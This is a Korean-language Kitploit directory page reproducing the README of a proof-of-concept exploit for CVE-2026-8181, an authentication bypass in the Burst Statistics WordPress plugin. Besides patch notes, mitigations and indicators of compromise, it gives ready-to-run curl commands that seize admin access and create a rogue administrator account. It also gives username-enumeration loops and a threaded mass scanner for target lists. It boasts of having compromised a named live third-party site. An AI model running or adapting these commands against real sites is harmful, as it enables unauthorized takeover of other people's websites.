Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 비인증 인증 우회를 통한 관리자 계정 탈취 | 개념 증명 | Kitploit
도구/GitHubGitHub/zycoder0day/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 비인증 인증 우회를 통한 관리자 계정 탈취 | 개념 증명

저장소 보기
573개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8181 — Burst Statistics 인증 우회를 통한 관리자 계정 탈취


📋 취약점 정보

항목세부 정보
CVE IDCVE-2026-8181
플러그인Burst Statistics – Privacy-Friendly WordPress Analytics
영향받는 버전3.4.0 – 3.4.1.1
패치 버전3.4.2
CVSS 점수9.8 (Critical)
유형CWE-287: Improper Authentication
공격 벡터네트워크 / 원격 / 비인증
활성 설치 수~200,000+
발견자PRISM, Wordfence Threat Intelligence
공개 날짜2026년 5월 8일

🎯 요약

WordPress 플러그인 Burst Statistics 3.4.0~3.4.1.1의 치명적인 인증 우회(Authentication Bypass) 취약점으로 인해 공격자는 인증 없이 admin 사용자 이름만 알면 WordPress 전체 관리자(administrator) 액세스 권한을 얻을 수 있습니다. 그 결과 새 계정 생성, 콘텐츠 수정, 악성 플러그인 설치를 포함한 완전한 관리자 계정 탈취가 가능합니다.


🔬 기술 분석

근본 원인

취약점은 includes/Frontend/class-mainwp-proxy.php 파일의 is_mainwp_authenticated() 메서드에 있습니다:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

주요 버그: wp_authenticate_application_password(null, $username, $password)는 Application Passwords를 사용할 수 없을 때 null을 반환합니다(WP_Error가 아님). 이는 다음의 경우에 발생합니다:

  • HTTP 사이트(HTTPS 아님)에서 wp_is_application_passwords_available()가 false를 반환하는 경우
  • is_ssl()이 false를 반환하는 사이트

is_wp_error(null) = false이므로 코드는 get_user_by('login', $username)로 진행되어 사용자 이름만으로 인증하며 비밀번호 검증은 전혀 수행되지 않습니다.

조기 실행(Early Execution)

has_admin_access() 메서드는 class-burst.php 118행의 plugins_loaded 훅(우선순위 9)에서 호출됩니다:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

이 훅은 REST API 라우트 처리 이전에 실행되므로 wp_set_current_user()는 Burst 엔드포인트뿐만 아니라 모든 요청에 대해 admin 권한을 부여합니다.

공격 흐름

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 개념 증명(PoC)

사전 요구 사항

  • 대상이 HTTP로 실행 중(HTTPS가 아니거나 SSL이 올바르게 감지되지 않음)
  • Burst Statistics 플러그인 3.4.0 – 3.4.1.1 버전이 설치 및 활성화되어 있음
  • admin 사용자 이름을 알고 있어야 함(열거 가능)

설치

root@kitploit:~
pip3 install requests

사용법 — 단일 대상

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

사용법 — 다중 대상(대량 스캐너)

root@kitploit:~
python3 poc_CVE-2026-8181.py

대화형 모드:

  1. 대상 목록 파일 입력(.txt, 한 줄에 도메인 하나)
  2. 스레드 수 설정(기본값: 50)
  3. 새 계정 자격 증명 설정
  4. 스캔 실행

targets.txt 형식:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

최소 PoC(curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Admin 사용자 이름 열거

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ 결과 검증

테스트는 Burst Statistics 3.4.1.1이 설치된 WordPress 6.9(localhost)에서 수행되었습니다:

라이브 대상 검증

대상결과
ausdermitte-binz.de성공 PWNED — Burst 3.4.1.1, binzwpadmin을 통한 우회, xenon1337 계정 생성(ID:30)

🔧 패치 분석(v3.4.2)

3.4.2 버전의 수정 사항은 여러 문제를 해결합니다:

  1. 올바른 반환 타입 확인:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Application Passwords 사용 가능 여부 강제:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. 쿠키 인증 요청에 대한 CSRF nonce 요구 사항
  2. add_option()을 통한 일회용 강제 적용으로 Nonce 재사용 방지
  3. 사용자 이름을 바인딩하지 않는 레거시 서명 형식 제거

🛡️ 완화 조치

즉시 조치

  1. Burst Statistics를 3.4.2 이상 버전으로 업데이트
  2. 사용자 계정 감사 — 알 수 없는 administrator 계정 확인
  3. 모든 Application Password 해지(wp_application_passwords 사용자 메타)
  4. WordPress admin 이메일 및 기타 설정 검토
  5. 알 수 없는 플러그인/테마 확인

침해 지표 탐지

  • 액세스 로그에서 외부 IP의 X-BURSTMAINWP: 1 헤더가 포함된 요청 검색
  • wp_users 테이블에서 새 administrator 계정 모니터링
  • wp_options에서 burst_mainwp_app_token_* 트랜지언트 확인
  • 사용자 프로필의 Application Passwords 검토

📁 제공 파일

파일설명
exploit_CVE-2026-8181.py단일 대상 PoC 익스플로잇
poc_CVE-2026-8181.py스레딩 기반 다중 대상 대량 스캐너
README.md이 문서

⚠️ 면책 조항

이 도구와 문서는 명시적 허가를 받은 합법적인 보안 테스트만을 위한 것입니다. 본인 소유가 아니거나 서면 허가 없이 시스템을 무단 사용하는 것은 불법입니다. 작성자는 오용에 대해 책임을 지지 않습니다.


📚 참고 자료

  • Wordfence 권고
  • 취약한 소스 코드
  • WordPress 플러그인 저장소
  • WP-Safety 분석

도구 다운로드
테스트결과증거
인증 없이 /wp/v2/users/me 접근실패rest_not_logged_in
우회 헤더로 접근성공admin 프로필 + 이메일 + 역할
새 administrator 계정 생성성공사용자 ID 2, 역할: administrator
WordPress 설정 읽기성공사이트 제목, admin 이메일, URL
Application Password 획득성공Base64 토큰 admin:password
설치된 플러그인 목록성공버전 포함 전체 목록